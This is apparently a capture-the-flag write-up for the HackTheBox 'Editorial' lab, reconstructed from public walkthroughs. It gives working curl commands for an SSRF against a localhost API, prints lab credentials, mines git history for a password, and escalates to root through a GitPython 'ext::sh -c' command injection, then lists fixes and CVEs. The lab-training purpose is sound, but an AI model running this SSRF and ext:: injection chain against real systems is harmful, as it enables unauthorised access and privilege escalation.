Summary
Editorial is an Easy Linux box: Flask publishing site has a
/upload-cover AJAX endpoint (NOT /upload) that fetches the
bookurl form field server-side → SSRF to localhost. Internal
API on :5000 exposes welcome messages including author template
with dev : dev080217_devAPI!@. SSH as dev. ~dev/apps/.git
history reveals an earlier message template with prod :
080217_Producti0n_2023!@. prod has sudo (password-required) on
/usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
which calls GitPython’s Repo.clone_from(url, ..., multi_options=["-c
protocol.ext.allow=always"]) — ext::sh -c <cmd> URL → arbitrary
shell execution as root.
The chain:
- POST
/upload-coverwithbookurl=http://127.0.0.1:5000/apiand anybookfile(multipart). Response is a static path likestatic/uploads/<uuid>— fetch that to read the SSRF body. Hit/api/latest/metadata/messages/authorsfor the dev creds. - SSH as dev.
cat user.txt. cd ~dev/apps && git log -p --all→ earlier message template had prod creds (the changeb73481b: downgrading prod to devreplaced them, but git keeps the history).sudo -S /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/p.sh'where/tmp/p.shis a 1-line helper that copies/root/root.txtto/tmp/rtand chmods it 644.
Recon
22/tcp OpenSSH
80/tcp Flask publishing site (editorial.htb)
/upload accepts a cover_url parameter.
Foothold — SSRF → dev creds
The /upload route renders the publish form (HTML); the actual
SSRF is at the /upload-cover AJAX endpoint that the Preview
button calls. The form requires a bookfile multipart part too,
otherwise it 400s. Response body is a relative URL of the saved
fetch — read its content via /static/uploads/<uuid>.
# Probe internal API root
RESP=$(curl -s -X POST http://editorial.htb/upload-cover \
-F bookurl=http://127.0.0.1:5000/ \
-F bookfile=@/etc/hostname)
curl -s http://editorial.htb/$RESP
# -> JSON catalogue, including:
# /api/latest/metadata/messages/authors
# Fetch the authors welcome template
RESP=$(curl -s -X POST http://editorial.htb/upload-cover \
-F bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors \
-F bookfile=@/etc/hostname)
curl -s http://editorial.htb/$RESP
# -> Username: dev, Password: dev080217_devAPI!@
ssh dev@<TARGET>
prod via git history
$ cd ~/apps
$ git log -p | grep -i password
... 'prod' : '080217_Producti0n_2023!@'
$ su prod
Root — GitPython ext:: command injection
prod$ sudo -S -l
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
# (NOT NOPASSWD — needs prod's password via -S)
prod$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
import os, sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes',
multi_options=["-c protocol.ext.allow=always"])
URL spaces and ; in the ext:: arg get mangled (the URL parser
treats them specially). Easiest workaround: drop a 2-line shell
script in /tmp and reference it.
prod$ cat > /tmp/p.sh <<'EOF'
#!/bin/bash
cp /root/root.txt /tmp/rt && chmod 644 /tmp/rt
EOF
prod$ chmod +x /tmp/p.sh
prod$ echo '<prod-pass>' | sudo -S /usr/bin/python3 \
/opt/internal_apps/clone_changes/clone_prod_change.py \
'ext::sh -c /tmp/p.sh'
# clone_from raises after the side effect — that's fine.
prod$ cat /tmp/rt
GitPython exposes the protocol.ext.allow=always option; the
ext:: transport is git’s documented “external transport” and
runs whatever shell command follows.
Why each step worked
cover_urlSSRF: Flask app fetches the user-supplied URL server-side; intended for “fetch the cover,” abused for internal port scanning.- Hardcoded creds in API welcome banner: dev artefact.
.githistory with old creds: classic.- GitPython
ext::protocol: documented Git transport, unsafe when fed user input.
Counterfactuals
- Validate URLs against an allowlist (no localhost, no internal CIDRs).
- Don’t hardcode creds in API banners.
- Use
git filter-repoto expunge committed secrets + rotate. - Patch GitPython ≥ 3.1.30; don’t allow
ext::transport for user-controlled inputs.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Editorial” — https://0xdf.gitlab.io/2024/10/19/htb-editorial.html
- IppSec, “Editorial” video walkthrough — https://ippsec.rocks/?#Editorial
- GitPython CVE-2022-24439 / CVE-2024-22190 advisories.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.